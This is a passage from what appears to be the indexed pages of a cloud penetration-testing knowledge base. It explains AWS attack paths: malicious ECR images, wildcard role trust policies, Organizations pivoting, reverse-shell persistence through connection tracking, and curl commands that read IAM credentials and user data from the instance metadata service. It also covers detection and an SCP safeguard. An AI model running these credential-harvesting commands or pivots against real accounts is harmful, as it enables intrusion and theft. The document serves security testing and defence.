ubuntu:latest &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>And finally we push the container into the repository.</p> <pre><code>docker push &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"<p>To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.</p> <pre><code>./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-&gt; Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n</code></pre> <p>Note</p> <p><code>Condition</code> elements may induce false positives.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"<p>As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a <code>Principal</code> in a role trust policy.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"<p>As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".</p> <p>This policy typically looks like the following:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>This policy would <code>Allow</code> anyone in the <code>111111111111</code> account the ability to perform the action <code>sts:AssumeRole</code> (assume the role), provided that they have the action in their IAM identity-based policy.</p> <p>As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the <code>Principal</code> element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" <code>Principal</code>. This <code>Principal</code> encompasses ALL AWS principals. </p> <p>Warning</p> <p>A common misunderstanding is that the wildcard <code>Principal</code> is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard <code>Principal</code> applies to EVERY AWS account.</p> <p>If a role trust policy is configured with a wildcard <code>Principal</code> element, such as the one shown below, anyone in the world can assume the role.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:</p> <p>Warning</p> <p>Do NOT use this trust policy.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n</code></pre> <p>In this example, the intention was to create a policy that Denied all Principals except the <code>intent-allow-role</code>. However, while creating this policy, the <code>Effect</code> was mistakenly changed to an <code>Allow</code>, which had the opposite effect, now anyone except <code>intent-allow-role</code> can assume the role.</p> <p>These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"<p>In order to exploit a role that has a wildcard set as a <code>Principal</code>, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.</p> <pre><code>aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n</code></pre> <p>Tip</p> <p>There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/","title":"AWS CLI Tips and Tricks","text":""},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#standard-inputoutput-redirection-with-","title":"Standard Input/Output Redirection with \"-\"","text":"<p>Warning</p> <p>The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.</p> <p>When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using <code>cat</code> or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.</p> <p>Fortunately, the AWS CLI allows us to simplify this process by using the <code>-</code> character which represents standard input/output (STDIN/STDOUT). Using <code>-</code>, you can read or write file content directly from or to S3 without creating local copies.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#reading-from-s3","title":"Reading from S3","text":"<p>To read the contents of an object stored in S3 without having to download it first, use the following command:</p> <pre><code>aws s3 cp s3://bucket-name/object-key -\n</code></pre> <p>Example:</p> <pre><code>nick@host:~$ aws s3 cp s3://hackingthecloud/content -\nhacking the cloud\n</code></pre>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#writing-to-s3","title":"Writing to S3","text":"<p>To upload content directly to an object in S3 without a temporary file, use this command:</p> <pre><code>echo \"hacking the cloud\" | aws s3 cp - s3://bucket-name/object-key\n</code></pre> <p>This command writes the specified text to an S3 object, again bypassing the need for a local file.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env","title":"Modifying the CloudTrail Log User-Agent with <code>AWS_EXECUTION_ENV</code>","text":"<p>Shout-out</p> <p>Shout-out to Christophe Tafani-Dereeper for showing me this.</p> <p>When making API calls to AWS, a <code>User-Agent</code> header is included in each request, containing details about the client making the request. Although it\u2019s not possible to fully customize this header, you can append information to it, which can be useful for tracking API calls in CloudTrail logs.</p> <p>One way to modify the <code>User-Agent</code> is by setting the <code>AWS_EXECUTION_ENV</code> environment variable, used by AWS SDKs to identify the execution environment. Tools like grimoire leverage this variable to append custom information to the <code>User-Agent</code> header, making API tracking more informative.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"<ul> <li> <p> Original Research</p> <p> <p>Pivoting AWS Organizations 1 &amp; Pivoting AWS Organizations 2 by Scott Weston</p> <p></p> </p> </li> </ul> <p>Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.</p> <p>Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration. </p> <p>When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"<p>When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called <code>OrganizationAccountAccessRole</code>. This role is created in each member account.</p> <p>By default, the <code>OrganizationAccountAccessRole</code> has the <code>AdministratorAccess</code> policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where <code>000000000000</code> is the account ID of the management account.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.</p> <p>For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.</p> <p>Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module</p> <pre><code>Pacu (role:ManagementAccount) &gt; run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n</code></pre>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration","text":"<p>When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"<p>Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"<p> Trusted Access &amp; Delegated Administration</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"<p>These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:</p> <p></p> <p>Note</p> <p>Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"<p>Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.</p> <p></p> <p>Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization. </p> <p>As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"<p>IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.</p> <p>Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.</p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"<p>IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc. </p>"},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"<p>To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:</p> <pre><code># Run Module\nPacu (Session: Keys) &gt; run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) &gt; data organizations\n</code></pre> <p>Relevant pull requests can be found here and here.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"<ul> <li> <p> Original Research</p> <p> <p> List of expensive / long-term effect AWS IAM actions by Ian McKay</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <ul> <li>Service Control Policies (SCPs)</li> <li>Attaching and detaching service control policies</li> </ul> </li> </ul> <p>An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"<p>To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided. </p> <p>To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.</p> <p>Warning</p> <p>While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.</p>"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"<pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"<ul> <li> <p> Original Research</p> <p> <p>Abusing AWS Connection Tracking by Nick Frichette</p> <p></p> </p> </li> </ul> <p>Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.</p> <p>There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".</p> <p>An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change. </p> <p>Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.</p> <p></p> <p>While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response. </p> <p>As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.</p> <p>The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.</p> <p></p> <p>The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.</p> <p></p> <p>To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).</p> <p></p>"},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"<ul> <li> <p> Additional Resources</p> <p>Reference: AWS Documentation: Unique Identifiers</p> </li> </ul> <p>In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.</p> <p>The full list of prefixes can be found below.</p> Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys <p>From a security perspective, there are 2 primary prefixes which are important to know, <code>AKIA</code> and <code>ASIA</code>.</p>"},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"<p>IAM credentials with the <code>AKIA</code> prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.</p>"},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"<p>IAM credentials with the <code>ASIA</code> prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with <code>ASIA</code>, a secret key, and a session token, make use of them quickly before they expire.</p>"},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"<p>Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.</p>"},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"<p>The metadata service can be accessed at <code>http://169.254.169.254/latest/meta-data/</code> from the EC2 instance. Alternatively, it can also be reached via IPv6 at <code>http://[fd00:ec2::254]/latest/meta-data/</code> however this only applies to Nitro EC2 instances.</p> <p>To get credentials, you will first need to make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/</code>. </p>"},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"<p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <pre><code>user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n</code></pre>"},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"<p>IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:</p> <p>Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.</p> <p>Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.</p> <p>TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.</p> <p>Note</p> <p>While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"</p>"},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"<p>The following information was pulled from here.</p> Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"<p>Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.</p> <p>Warning</p> <p>Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"</p>"},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"<p>User data can be accessed at <code>http://169.254.169.254/latest/user-data/</code> from the EC2 instance.</p>"},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"<p>Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <pre><code>user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n</code></pre>"},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"<p>Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.</p> <pre><code>user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute 